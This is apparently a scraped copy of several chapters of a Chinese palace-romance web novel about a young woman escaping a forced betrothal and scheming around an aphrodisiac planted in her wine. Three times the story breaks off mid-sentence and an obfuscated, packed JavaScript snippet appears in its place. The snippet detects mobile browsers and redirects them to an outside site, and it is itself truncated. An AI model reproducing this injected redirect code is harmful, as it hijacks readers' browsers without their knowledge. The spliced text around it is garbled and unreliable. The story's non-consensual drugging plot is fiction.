“哼,我知道没有证据你不会承认的。不过那又何妨呢,你日后要嫁进程家,程家的人信,不就行了吗?” 说完这话,程奉心定了不少,似是找回了掌控权,眼神变得轻蔑:“我知道,你一直幻想着有公子哥愿意娶你,可你也不想想,他们愿意为了你跟我交恶么?说到底,美色抵不过权势和面子,你该想明白,只有我,愿意娶你做正室。以你的家世,给他们做妾都不够!” 崔宜萝面色冷了几分。 世家中唯有江家有不许纳妾的家规,因祖辈出过宠妾灭妻之事,险些毁了家业和清名。这也是崔宜萝为何选中江昀谨的原因。换做旁人,未必肯以正室聘之。 见崔宜萝没说话,程奉心想定是戳到了她的伤心处,不禁带上几分胜利的愉悦:“其实以你的家室,给我做正室也是远远不够的。” 崔宜萝站在花厅中,身姿挺拔如花厅背靠的青竹,她缓缓道:“监丞没有证据,就污蔑于我,心存怨恨。我虽身世低微,但人贵自重,刚气不可折,你我的婚事就此作罢,我会禀明姨母,再修书给宁州的父母将婚书和聘礼退回。” “作罢?”程奉像是听到了什么笑话,浑浊的眼睛全是邪气玩味:“崔姑娘花容月貌,本监丞实在爱惜得紧,不忍释手。若你不识抬举,尽管告诉你的姨母,只要本监丞坚持要娶你,你看看你父母会不会退婚书?你的姨母手再长,还能越过父母做决定?若真可以,她怎不早插手?” 崔宜萝眼底阴沉。程奉平日自大又糊涂,但并不是心智全失。 “本监丞谅你远嫁孤独,这不,为你多寻了位姐妹,前几日下人来报,庄子里的外室有了身孕。” 崔宜萝身后的荔兰面色大变。 程奉笑得更得意,整张脸如一张揉皱的枯纸,布满了密密麻麻的皱痕,“有了身孕做外室着实是委屈了点,更何况她好歹也是个良籍女子,虽沦落过几日秦楼楚馆,但她可是卖艺不卖身的,身份也不比你低贱多少。我打算将她正式纳进府中,日子嘛,便在你过门前半月吧。” 程奉语气轻松,脸上的惬意如掌生杀大权。 “等日后产了子,也不必抱到你跟前,你年纪轻,养不来。届时将她抬为平妻,如此也算是嫡子了。” 这简直是明晃晃的羞辱!谁家会在正室过门前半月纳外室入府?到那时全盛京都会将崔宜萝视为笑柄!荔兰恨不得立刻上前撕碎程奉。 她死死瞪着程奉,怒道:“监丞以正室之礼聘我家姑娘,如今怎能这般羞辱我家姑娘!你一开始不将人纳进府,现在又要抬做平妻,就不怕外人笑话吗?” 程奉洋洋得意地挑起眉,他自然不会把外室抬为平妻,只不过借此羞辱崔宜萝罢了。见崔宜萝的婢女怒不可遏,料想她心中也定是如此,只不过面上装得好。 如今既已彻底撕破脸面,程奉索性也不装了,得逞笑了起来:“外人又能耐本监丞如何?崔宜萝,我劝你别挣扎了,我稍稍动个手指就能折磨得你生不如死。眼下你跟我低个头,认个错,提前圆房,把我伺候舒服了,进门后主动再把你那陪嫁丫头收了房,或许我可以考虑放过你。” 荔兰气得就要冲上去,被崔宜萝挪动一步拦住了。 “监丞,”她眼中锋锐如寒星,嘲讽地牵了唇角:“你今日专程上门就是为了羞辱我?国子监是博文约礼,经明行修之地,监丞不忙着为圣上作育人材,反倒来江家说这些粗鄙之语,未免不够妥当吧?” “还是说监丞年事已高,不宜过于劳累?” 程奉有一瞬间被呛住,年老和在国子监被刻意忽视是他心内的痛点,而身份寒微的崔宜萝怎敢直截了当地戳穿!程奉气得脸上发红,疾言遽色起来:“本监丞在国子监为官多年,从未有失,何时轮得到你这低贱之女说话?” 崔宜萝意味不明地笑了一声。 话说至此,依礼退婚是完全不能了,程奉不会放过她。那便只能另寻他路了,所幸崔宜萝对此道并不陌生,由小自大,她因不能走正道而寻过太多他路了。 她懒得再听程奉自大粗鄙的言语,抬手唤人来送客。 “监丞,我还有事,先失陪了。” 程奉也没兴致再留,轻蔑道:“嫁衣这几日就送来,准备好和本监丞成亲吧,崔姑娘。” 程奉走后,荔兰焦急问道:“怎么办,姑娘,难道当真要……” 崔宜萝半张脸掩在光影下,双眸里的秋水此刻冻成了冰刃。 “先回房吧。” 崔宜萝带着荔兰刚走出花厅,回廊处如鬼魅般地忽闪出一个身影来,也不知在此待了多久,吓得荔兰险些惊叫出声,崔宜萝也是一颤。 闻风低眉躬身作揖:“崔姑娘,玉竹院有请。” 玉竹院,是江昀谨的院子。 江昀谨怎会请她去他的院子? 崔宜萝倏地想到被他收进袖中,染了血的连翘锦帕,他说会洗净了还她。想来今日请她过去,是要还帕子的。 江昀谨自然不可能把将女子锦帕这等极为私密之物在外头还给她,若被人见到,岂不是毁了他的清誉? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362327|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此他才迂回地派人来请。 崔宜萝心中转了几转,瞬间想明了来因去果。 江昀谨是为了避嫌,她崔宜萝可不会。 崔宜萝笑得和善又温婉:“我先回院一趟,便立刻赶过去,烦请表哥稍等片刻。” 江昀谨虽待人淡漠,但一向谦和,他的下属随了他,自然也是这个作风,闻风没说什么,只爽快应了下来,回去复命了。 踏入玉竹院已是一炷香之后,闻风似乎有其他要事,来接待崔宜萝的是一个未见过的下人。 玉竹院与花厅同靠一片竹林,但不同的是,玉竹院青竹更繁盛亦更茂密,有书上所言的茂林修竹之韵,清微淡远。 但除了背靠的翠竹外,院中没有植任何花卉,清寂简静,如院子的主人般。 一房住一个院子,里头又分了几个小院,但玉竹院只江昀谨一人居住,很是广阔。崔宜萝走在石子路上,经过了一个小院。与其余小院不同,其他小院虽无人居住,却也命人打扫维持洁净。但这个小院—— 深色板正的紫檀木门紧闭,上头挂着一把铁锁,沾了不少灰,似是尘封已久,高大的院门覆下阴影,沉重的压迫感直冲而来。 崔宜萝多看了几眼,皱了皱眉。 她不喜欢这座小院。 这座尘封的小院离江昀谨的起居处很近,走过一段白墙黛瓦下遍植翠竹的鹅卵石小径,就到了江昀谨的起居之所,匾额字迹遒劲而端正,上书寄雪斋。 崔宜萝心中默念一遍,跨进院门。 靠门处立着一紫檀照壁,行遮蔽之用,后屋光景被遮得严严实实。上雕巍峨峻峰,飞流瀑布,手艺巧夺天工,宛然在目。令人注意的是,其上以端正的小楷刻了文字,几乎占满照壁。 崔宜萝走近粗略一看,君子终日乾乾,夕惕若厉。 再扫到另一句,君子戒慎乎其所不睹,恐惧乎其所不闻。 密密麻麻。 刻着的字边缘有些模糊,但高处的却格外清晰,像是被还未长成的稚童用手指抚摸过千百次。 崔宜萝盯着这块照壁,忽觉有些喘不过气来。照壁以木为料,沉雄而华泽,却有千斤重。 绕过照壁,毫无疑问,江昀谨的小院极具韵味和书卷气,如他性子般沉稳睿明,却毫无生机。 唯一具有生命力的,是屋前的一棵郁树,枝叶扶疏,葳蕤得与整个院子格格不入。 是一棵连翘树。 他也喜欢连翘?崔宜萝有些意外,连翘花色嫩黄,朝气蓬勃,任谁都不会觉得与江昀谨有丝毫关联。 紫檀刻山水屋门敞开,男人坐在屋内,他今日着了件月白锦袍,指骨分明的手执着一卷书,但目光却未汇在书上,而是飘落在地上的栽绒团花毯上,棱角分明的脸下颌微微紧绷,面沉如水。 听到她走近的声响,墨眸才重新聚焦,他将书卷合上,修长的手指细致抚平后,才放到身旁桌案上。 “表哥。” “嗯。” 江昀谨起身,在靠窗一侧的置物架上取出锦盒,“你的帕子我已命人洗净。” 他顿了顿,“我去时你不在院中,不知是否是你珍重之物,只好请你过来一趟。” 崔宜萝接过,又随手放在身旁的桌案上,“表哥知道我去了花厅。” 语气并非疑问。 “你院中下人说的。” “表哥知道我去见谁吗?” 江昀谨看了她一眼,缓慢答道:“知道。” 崔宜萝再进一步:“那表哥,知道我们说了什么吗?” 崔宜萝不知道闻风在外头待了多久,听到了多少,又会否告知江昀谨。 江昀谨长睫垂下,微微抿唇不语。他这幅神情,崔宜萝还有什么不明白的。 他背过身,颀长身形如巍峨山峰对着崔宜萝,语调冷了下来:“我还有事,拿了帕子便回吧。” 下一瞬,身后传来的冲力撞得他身形一晃,属于女子的清甜香气顿时顺势缠绕而上,不容拒绝地将他裹住。 他的腰腹被紧紧抱住。 “表哥,你可不可以帮帮我?” 16. 鸳鸯瓦 清婉的声音染上委屈的哭腔。 江昀谨手指垂在身侧,月白宽袖如流水倾斜下来,劲瘦的身躯绷得僵直,蕴满了某种压抑的力量。 手臂被反抗地拉了一下,崔宜萝忙将他绷紧的腰腹抱得更紧,一鼓作气:“我不想嫁给他,表哥,你知道的,不仅是因为他年迈,还因为我对你——” “崔宜萝。”他毫不犹豫地打断,头顶传来他的冷声:“你僭越了。” 崔宜萝微怔,这是他第一次直呼她的名字。 “那你为什么不推开我?” 静默几息,他的声音响起:“今日的话,我权当你未说过。” 原来只是为了保全她最后的体面。放在他腰腹上的手指瞬间抓紧了他所佩玉坠的系带,指节用力得发白。 崔宜萝咬唇,忽低声啜泣起来,月白锦袍顷刻被洇出深色。 屋内开着窗,霎时间,只闻风吹过竹林击打出的沙沙声,以及女子的低低啜泣声。 “哭完了,便回去吧。” 他声音似高山积雪般凝涩。 崔宜萝脱力一样地松开手臂,退后了一步。男人腰腹部位登时留下几道皱痕,背部几点洇痕不规则地泛开,在平整洁净,一丝褶皱都无的锦袍上,突兀的像是完璧出现了裂痕。 他背对着她,只能瞥见暗中他紧绷的下颌一角。 崔宜萝声音一下沉了下去,似是希望熄灭,“宜萝自知身份低微,配不上表哥。” 她从暗袋中取出一样物件,从背后递给江昀谨,“这是你的手串,我用蚕丝线串了三圈,最是坚固,不会再断了。只是丢了一颗珠子,墨玉太过珍贵难得,我只好以手中的红玉补全。望表哥原谅我擅作主张。” 江昀谨侧过身,垂眼盯着手串。 墨黑剔透的墨玉圆润饱满,静静地躺在她的雪白掌心上,那颗红玉更显得浓艳如血,强硬地挤入了黑白之中,补全缺损。 好几息,修长的指尖捻起那颗红玉,连带着拿起整串手串,缓缓套进手腕。 玉珠碰撞发出“啪”的轻响,男人蕴着力量的手腕被收束住。 “多谢。” 崔宜萝拿起方才被她放置一旁装着锦帕的锦盒,声音又轻又低:“我走了,日后……我不会再来烦扰表哥了。今日对不住,把你的袍子弄脏了。” 江昀谨低垂着眼,日光斜打在他瘦削的下巴上,上半张脸晦暗不明。 “告辞。” 崔宜萝没等他回答,转身离开了。 窗外微风不止,那股清甜的香气顷刻如云雾般被吹散,一丝都未残留。 伫立原地的男人喉结轻滚,眼底一片晦涩。 - 一走出寄雪斋,崔宜萝抽出锦帕,迅速将脸上的泪痕拭了个干净,只眼尾有些红,不仔细看不出来。 要是被人看到她满脸泪痕从江昀谨院子里出来,添油加醋传了出去,江老夫人怕是第一个来找她。 反正本来就是假的。剖白、泪水、自贬、承诺,都是假的。 江昀谨比她想象中还要冷心冷情万倍,她在他身上花了一个多月,彻底白费了。 今日一剖白,他不肯帮他,日后见到她怕还要绕着走。而她又和程奉彻底撕破脸,程奉也不会放过她。 还有一再想要取她性命的人,她隐约有种预感,但太过惊骇,她不敢确定。况且,她根本没办法与之抗衡。 崔宜萝死死攥住手中锦盒,眼下最重要的是逼近的婚事。 她又陷入绝境了。但她绝不坐以待毙,任人宰割。 过几日郑国公府会办个小宴,有不少世家郎君前来……即便不是世家,在朝为官的寒门子弟亦未尝不可。 她先前已暗中物色,稍稍接触过了。 崔宜萝深吸一口气,心中定了定。 程奉的事在晚间便传到了兰蕙耳里,兰蕙听闻后迅速赶来。 “宜萝,他竟如此对你!你放心,明日你姨父会寻他,无论如何,那外室绝不能越过你去。” 兰蕙又心疼又愤怒。 她虽家世普通,嫁与江闻是高嫁之中的高嫁,但好歹算出身书香世家,程奉言行举止已大大超出她平日所闻。 听心腹禀报后,她简直不可置信,怒不可遏。 “罢了,姨母,这或许是我的命数吧,”崔宜萝眼里浮起濛濛水雾,泫然欲泣:“难道我还能退婚不成?” 兰蕙神色一恍,缓缓道:“宜萝,你会怨我吗?” 崔宜萝的心沉了下去,到了这个地步,姨母还是不愿为她出面。 但也是,姨母何必为了她一个出身低微的侄女得罪程家,闹得面上无光呢?换做是她自己,难道就肯么? 听闻她的母亲生得貌美,第一次见到姨母是在她五岁那年,姨母前来为母亲扫墓,崔宜萝见到她后,便知传闻不假。 姨母总是娴慧而精气焕发,但此刻眼神满是复杂的疲惫和愧疚。摇曳烛火摇晃崔宜萝心神,又令她猛然清醒。 每年她收到的唯一用了心的生辰礼,是来自姨母。姨母体贴地考虑到崔家的条件,送的东西总是华贵又不损实用,又不会过分招摇,惹人嫉恨。 她在信中一笔带过的话,姨母也总是记在心上。来京之后意外频出,姨母也总是为她奔前忙后。 各人都有难处,就算身处泥泞,她有什么资格要求旁人救她?唯一能救她的,只有她自己。 崔宜萝握住兰蕙的手,兰蕙的手柔软而温暖,温热缓缓被汲取。 “姨母,”她声音轻得在烛火中飘荡:“您接我来江家住,也有自己的难处吧?我从小就没有母亲,长到这么大唯一让我感受到母爱的人就是姨母。” 崔宜萝眼里的水雾消散,认真而笃定地:“所以姨母,我不怨您。成婚后我搬至京城,也能在您面前尽孝。” 兰蕙眼眶通红,唇发起颤语无伦次起来:“宜萝,如今这幅田地,你变得这么懂事,姨母倒宁愿你像阿月一样……全都怪姨母。” 她倏地用帕子捂住脸,泣不成声。 崔宜萝顿住。 兰蕙的情绪来得猛烈,显然超出寻常。崔宜萝于情感上并不敏锐,甚至算是淡漠,但连她此刻都察觉到了几分不对劲。 帮她退婚是出于情分,并不是应尽本分,不帮她会让兰蕙愧疚到失态的地步吗? 崔宜萝收起思绪,缓缓拍着兰蕙发颤的背,轻声安慰起来。 兰蕙到底做了多年的江家二夫人,江家最注重的是体面,不过多久她便平复了情绪,但看着仍有些失魂落魄。 “这些年姨母一直有为你攒嫁妆。” 得知兰蕙为她添了三十六抬嫁妆后,崔宜萝愣住了。 她虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362328|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有生母留下的铺子进账,但比之京城贵女自然不够看,继母只做足面上功夫即可,因此她的嫁妆仅有二十八抬。 她猜到兰蕙或许会备下贵重之礼,但没想到兰蕙会如此阔绰地直接为她的嫁妆添至六十四抬,这比京城的一些官家女出嫁时还要多。 可惜是嫁给程奉。 “但是表姐还未出阁,这些嫁妆还是给表姐吧。” “程家那头不知轻重,但程监丞年事已高,待他百年,你手里有这些嫁妆也有所倚仗,日子总会松快不少。而且我为你添嫁妆,他们也该明白,你的背后是江家。” 烛光照在兰蕙脸上,有种令人可放心倚靠的慈和沉稳,崔宜萝看着面前的姨母,鼻尖忽地泛起尖酸来。 “多谢姨母。” 明月低悬的另一侧,连翘树枝叶扶疏,映上了旁侧屋子的烛光。 “公子。” “进。” 往日清冷的声音夹杂着一分几不可察的疲惫,透着厚厚的紫檀木门传出,听得不太真切。 闻风推门而入,本以为公子是漏夜操劳公事,房内的景象却让他一愣。 本摆满了公文的长案上,此刻是堆叠的被翻开的书卷,俱是江昀谨多年所学的君子礼道,虽被翻阅过千百次,却被保存得很好。 但关键是,这些书卷皆被收拢至箱笼中,许久都未打开过了。 怎会在今夜突然被拿了出来,还堆满了桌案? 而自家主子并不在案前,而是在窗边的小案上独弈,他仍穿着白日里那身月白锦袍,月光洒在颀长身影上透出莫名的冷厉。 闻风知道,江昀谨虽平日里也常独弈,有时二殿下也会和他对弈几局。可只要他心中烦乱时,所做之事却只有独弈。 但眼前他神色沉静,和往日别无二致,并不像心绪不佳的样子。 “何事?” 江昀谨拿起茶杯轻抿,宽袖如流水般顺势下落,露出劲瘦的手腕来。 闻风正要回答,在看到江昀谨手腕上黑玉串中那抹刺眼的红时,彻底愣住了。 江昀谨缓缓将茶杯放回案上,宽袖落下,将腕间遮住。 闻风猛然回神,垂下了头不敢再看:“公子,已经很晚了,您先休息吧。” “茶用完了,去添些来。” 这是还要再独弈的意思了,闻风知道书房今夜怕是要燃烛到天明了。 他心内叹息一声,公子虽守礼沉稳,性子却格外固执,做出的决定旁人难以改变。他也未再劝,上前去拿空了的白玉茶壶。 “公子,那桌案上的书,可要属下收拾……” 江昀谨瞬间答:“别动。” 语气有一丝罕见的着急。 “是。” 走出门前,闻风忽然记起:“公子,银丹草已用完了,可要差人明日去买?” 屋内沉默了片刻,才传出男人的低声:“罢了。” 闻风应了声,拿着茶壶走出书房。 夜风吹入,吹得案上的书页无规律地翻动,清脆的沙沙声不绝。 江昀谨转眸看向满桌案的礼义道德,君子端方,字字句句,他都无比熟悉,皆是父亲耳提面命要他恪守于心,铭记一世的。 夜间清冷的气息钻入胸腔,却没有缓解半分他身上的重压。 江昀谨眼底晦暗,一片凌然。 17. 东风里 几日后,午后。 梳妆的婢女正将桃花簪佩进崔宜萝如云鬓发间。 “姑娘,程监丞派人送东西来了。” 荔兰从门外走进禀报。 “嫁衣?” 那嫁衣难掩简陋,荔兰不太高兴:“是,不过还带了其他的东西,婢子看了,皆是些绫罗绸缎,玉佩钗环,不算名贵。” 程奉当然不会拿出什么贵重的东西,但昨日还言语羞辱,威胁成婚后不会放过她,今日就派人送赔礼也太过怪异。 崔宜萝皱眉:“可有派人说什么?” 荔兰神情古怪:“说是前几日冒犯了姑娘,特派人赔礼,只望成婚后能夫妻和睦。” 夫妻和睦。荒谬得令崔宜萝发笑,瞧程奉送礼这不情不愿的模样,昨日姨母说姨父会寻他,想来是姨父敲打了一番。 崔宜萝看了眼天色,快到赴郑国公府小宴的时辰,也无心再想程奉怪异的举动,只命人将东西抬到院子里,便带荔兰和护卫们出门了。 郑国公府内,郑国公性子文雅,喜舞文弄墨,府内假山造景都别有一番雅致,花光柳影处,已有不少郎君贵女们前来,三三两两聚在一起。 听闻元凌今日也会赴宴,崔宜萝便想着趁此机会将衣袍和药给他,正巧瞧见他往湖边去了,便带着荔兰跟了上去。 “元指挥使。” 元凌被她叫住,回身见是她,眼里闪过一丝兴致。 “东西带来了?” 崔宜萝看了眼荔兰,荔兰便将装着外袍和几包迷药的木盒递给了元凌的侍从。 “和元大人做交易,自该上心。还未多谢元大人上回出手相帮。” 上回在越山,程义遭野兽袭击,称是与她有约,这才遇了猛兽,云翊卫查明,她未和程义有过交集,这才让她声名清白。 元凌勾唇笑道:“难得见崔姑娘客气,放心,交易的规矩,元某还是晓得的,”说着压低了声音:“你也不用担心你那表哥会知道此事。” 他若有若无地往东边的假山望了一眼,继续道:“他今日似乎也来了。” 崔宜萝没有说话,也并未望向假山处。 江昀谨知不知道,今日是否赴宴,对此时的她来说没有丝毫意义了。自上回寄雪斋后,她就知道,江昀谨这条路走不通了,日后他们不过是普通的表兄妹关系,甚至比不上,毕竟他们并没有血缘。 她不欲与元凌长谈:“元大人,我表姐还在等我,先告辞了。” “等等。” 崔宜萝回身的动作一顿,又转了回来,就见元凌的手往她鬓间伸来。 她下意识就要避开,但元凌比她更快,已将手收了回来,指尖夹着一瓣紫薇花,原来是见她鬓间落了花瓣,帮她拂去。 见她反应剧烈,又神色怪异,元凌忍不住轻笑:“崔姑娘对人的防备心可真强。” “元大人不知道未尝其苦,莫劝其善么?” 元凌似笑非笑:“崔姑娘似乎经历不少。” 崔宜萝微扬着唇,眼里却毫无笑意,一片冰冷,“我想我与元大人还未熟稔到话过往的地步。” 说罢也不等元凌回答,说了声告辞就转身离开。 元凌站在原地,漫不经心地笑着,细长的手指轻轻摩挲着那瓣紫薇。 “在瞧什么?” 假山后,萧靖看着身旁的人若有所思地望着湖边,也顺目看去,恰好看见元凌为崔宜萝拿下落在发间的花瓣那幕,恍然大悟地挑了挑眉。 “我说你今日怎么来赴宴了。” 江昀谨收回目光,声色清冷:“不是殿下吩咐,需得保人周全?臣不过听命行事。” 萧靖失笑:“慎之,有你相助,倒是本宫之幸。不过上次越山他们失手,又有江二夫人在,短期内应当不会再下手了。今日既来赴宴,好好松快松快,就别挂着公事了。” “是。” “不过崔姑娘何时认识元凌的?瞧着还挺熟。” 江昀谨神色淡淡:“臣不知。” 萧靖无奈笑道:“也是,差点忘了,你不关心姑娘家的事。” 稀疏光影下落在江昀谨霜雪色锦袍上,他眼帘掀起,看了眼湖边已分开的两人,沉默未答。 另一边,崔宜萝已走到湖后的回廊拐角处,眼前忽地冒出一个人影来,两人险些撞了个正着。 崔宜萝后退几步,这才看清眼前神色匆忙的人。 “谢姑娘?” 来人正是谢曦云,她看上去心焦火燎,似乎有什么极要紧的事,这才连路都未看,险些与她撞上。 谢曦云一把握住了她的手,崔宜萝一惊,下意识就要抽出,却听她又道:“崔姑娘,我有很重要的事要告诉你。” 她看了眼四周,“此处不方便,我们找个人少的地方。” 崔宜萝不动声色地打量她,见她并未撒谎,这才应下。 她们找了个环着翠竹的墙角,四面清幽,连郑国公府的仆从都很少经过。 “谢姑娘,怎么了?” 有什么事,能让谢曦云着急成那副模样? 谢曦云焦急得语速飞快:“崔姑娘,今日宴上的酒,你可千万别碰。” 崔宜萝皱眉:“下毒?” 谢曦云没想到崔宜萝并未质疑她,也未露出不谙世事的姑娘家应有的惊慌失措,只是微微愣了愣便回过了神,不由暗暗佩服她。 但脑中又冒出另一个猜测,是被人设计陷害过,才会如此镇定吗?再看眼前如远山芙蓉的少女,谢曦云不免有些心疼。 “不是毒药,是一味叫‘迷仙引’的药。” 崔宜萝低低重复:“迷仙引。” 迷仙引,她在隋叔的藏书中见过。 隋叔精通药道,却不是济世救人的药,而是折磨人的药,折磨人越狠,他越精通。崔宜萝自小借阅他的书,这些邪药早已了然于心。 谢曦云以为她未听过,解释道:“是南疆的一味药,或许说是蛊更贴切,喝下后情智迷离,须得与人欢.好才可解药,否则一个时辰后会心脉爆裂。这药炼制不易,极为难得,不知道楚恪是怎么弄来的……” 显然,谢曦云只了解了个大概,迷仙引精妙之处并不在于心脉爆裂,而在于它控制的并非□□,而是心智,因此无法以自.渎纾解。 迷仙,即便是神仙也会为之所迷。 心智再坚固的人,譬如江昀谨,碰上迷仙引恐怕也难以保住理性。 但听到最后,她还是蹙起眉:“楚恪?” 谢曦云的未婚夫婿?怎会是他。 谢曦云眉眼间的愁绪和愤怒登时倾泻出来:“方才我无意间经过通往后厨的回廊,听到楚恪的侍从在花窗后同郑国公府的后厨小厮密谋,将药交给了他,说务必要下在你的酒中。楚恪和郑国公世子一向交好,这场小宴是郑国公世子办的,他这才敢大着胆子在宴上下药!他们都是一伙的!” 谢曦云气得眼眶通红:“从前只以为他玩心重了些,但到底没惹出什么祸事,我真未想过他竟能做出此等下三滥之事!” 下这药要做什么,不言而喻。 崔宜萝一通听下来,脑中也清明了不少。 她点了点头:“我知道了,谢姑娘,多谢你。” 谢曦云到底是楚恪的未婚妻,利益相连,若此事抖搂出去,楚恪名声被毁,谢曦云虽无辜,但总会有龌蹉之人胡乱编排,流言最是伤人。 谢曦云摇摇头:“你是我的救命恩人,我怎能看你有事而装作不知?何必如此生分,我们以名相称吧。” 崔宜萝垂下眼,避开了她感激的眼神。 她分明是被推入水中的,却承了谢曦云全数纯粹的感激。 “他做出这样的事,你没想过退婚吗?”她突然道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362329|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔宜萝的神情和语气沉得有些突然,像是换了个人,谢曦云一愣。 谈及退婚,谢曦云露出几分犹豫:“我本打算过阵子同家中商量。只是楚恪他……” “他威胁你?” “不是,”谢曦云摇摇头,默了片刻,声音低了下去:“他和楹珠私下往来,宜萝,我着实不知如何开口。” 比起未婚夫,关系亲密的妹妹的背叛显然才是谢曦云内心的痛处,眼中顷刻聚起了泪珠。 谢楹珠和楚恪…… 崔宜萝瞬间明白过来,在越山时谢曦云为何情绪低落,且她本来常与谢楹珠在一处,那两日身边却少见谢楹珠的身影。 还有那日落水,谢楹珠看似焦心,实则拖着不让杨静菱为谢曦云诊脉。 “你落水是她下的手?” 震惊于崔宜萝的敏锐,谢曦云神色一顿。 “是。我落水后楚恪来探过一次,他走后,我恰好想下床走动走动,便撞见了他们在假山后。” 谢曦云苦笑道:“她推我落水,琼贵妃被楚恪求着,推了个宫女出来替罪,这才保全了她。可楚恪也被勒令断了这段见不得光的关系,所以二妹她才会冒着被发现的风险,在假山后拦下楚恪。” 他们以为她病得严重,没想到会下床走动,意乱情迷时更未留心注意四周,这才让她暗中撞破所有。 想起那日谢楹珠提及她时面上的冷漠和厌恶,还有附和着她的未婚夫婿说她无甚情趣,故作清高的嘲弄神情,谢曦云心里又是一阵悲愤交加。是她识人不善。 “你难道就这么放过他们?” 崔宜萝如冷泉泠泠的声音响起,谢曦云双目微瞪,神情错愕。 崔宜萝将她的反应尽收眼中。 她没再故意扮柔婉,因为她本就是个心狠手辣,不择手段的人。谢曦云会这么信任她,只是因为以为她心地纯善。待她发现真相,就会对她彻底失望,暗恨真心错付。 既然迟早都要对她失望,倒不如早些失望。 她冷下心又添了一把火:“楚恪风流荒诞,你不想报复他?” 语气平静得似乎只是在闲谈家常。 谢曦云更加愕然。 接下来她就要态度骤变,斥她冷漠心狠了。 崔宜萝心里忽地松了一口气。 可下一瞬,却见谢曦云澄澈的眼睛点亮,浮起感动。 “宜萝,你待我真好。你平日里待人总温和有礼,如今却为了我想报复他们。你放心,我只是不知如何开口,毕竟楹珠曾经与我极为要好,又是血脉相连的姐妹,但我没想过轻拿轻放。” 崔宜萝张张唇,忽地说不出话来。 她想说,她并没有担心她,她误会了,将人总往好处想,又这么容易相信旁人,会害了自己的。 见崔宜萝神情复杂,谢曦云以为她还在忧心自己,忙道:“好了,你别挂心我的事了,迷仙引药性猛烈,不如你称病先回府?” “称病回府太过明显,他们一定会知道我已察觉,定然不会轻易收手,以免我将此事宣扬出去。” 的确,计划失败还有下一次,但给人下烈药的事传了出去,影响的可是两个世家的声名。 谢曦云没想到这一层,有些愣住了:“那该如何是好?” “今日来的都是有头有脸的世家子女,他们总不能当着众人的面强行逼我饮下。” 谢曦云仍是放心不下,但也明白她的顾虑,“好吧,那你定要多加小心。” 崔宜萝点点头,眼底浮起一丝笑意。 楚恪背后是谁不言而喻,能弄来迷仙引这等绝药。 东风在前,怎能不借一把? 山穷水复疑无路,柳暗花明又一村,原本走不通的路倏地开了个口子。 胸腔中的血液隐隐有些沸腾起来。江昀谨清贵疏冷如谪仙,中了迷仙引的他,会是什么样子? 18. 迷仙引 小宴是郑国公世子办的,他与楚恪交好,在玩乐上也格外有造诣,今日的小宴并不像寻常的宴会在厅中举办,而是在园中摆了桌案,怕贵女们嫌日头大,许多桌案摆在亭中,或是花架下。 这样一来,也不必所有人聚在一处,方便好友相聚,互相走动,氛围格外随和融洽。 也方便了崔宜萝。 江昭月同杨静菱几人到湖边游乐去了,她假称外头太晒,留在了亭中,她有更重要的事情要做。 郑国公府的下人端酒上来,缓而谨慎地呈在崔宜萝面前。 “崔姑娘,请用。” 崔宜萝几不可察地往前靠近了些许。浸了迷仙引的酒有股极其轻微的异香,若非她曾在书中阅过,根本不会注意到。 此时此刻,她能清晰感觉到有道目光正急迫地盯着她,如饿狼一般。 杯中倒映日光,澄澈酒水晶莹发亮,崔宜萝修长的指尖轻转酒杯,勾了勾唇。 江昀谨喜静,待人疏离,不知去了哪处待着,崔宜萝四周看了看,郎君们三三两两挨在一处,但众多人中就是没有江昀谨的身影。 迷仙引发作并不算快,通常需要半个时辰,若是服药太晚,便不能赶在回江府前发药。因此她最迟要在回江府前半个时辰让江昀谨喝下。 郑国公府花繁叶茂,亭台楼阁,错落有致。宴上的郎君贵女们四散交际,仆从在一侧端着酒樽跟随,崔宜萝带着荔兰越过他们,沿着回廊寻。 但皆一无所获。 她看了眼稍微低沉的日头,心下紧张起来。若再耽搁,就要来不及了。 “崔姑娘。” 身后突然传来一道满带玩味笑意的男声,打断她的思绪。 崔宜萝闻声回头,只见来人身着靛蓝锦袍,腰间束满了精致剔透的宝石玉佩,手中持着的折扇也镶金带玉,浑身金玉珠宝亮得晃眼,一见就知其人是何等奢靡。 他眉毛浓黑,双眼却显出几分迷离,分明年岁尚轻,面容却若有若无泛着浑浊之气。竟和程奉出奇的有些相像。 崔宜萝想起四个字,纵欲过度。 她回道:“楚公子。” 楚恪讶异地“哦”了一声,眯起眼道:“崔姑娘认得我?” 崔宜萝淡笑着,不置可否。 楚恪将折扇啪地收起,吊儿郎当地走近一步,似笑非笑道:“我与崔姑娘一见如故,不如找个地方闲谈几句?” 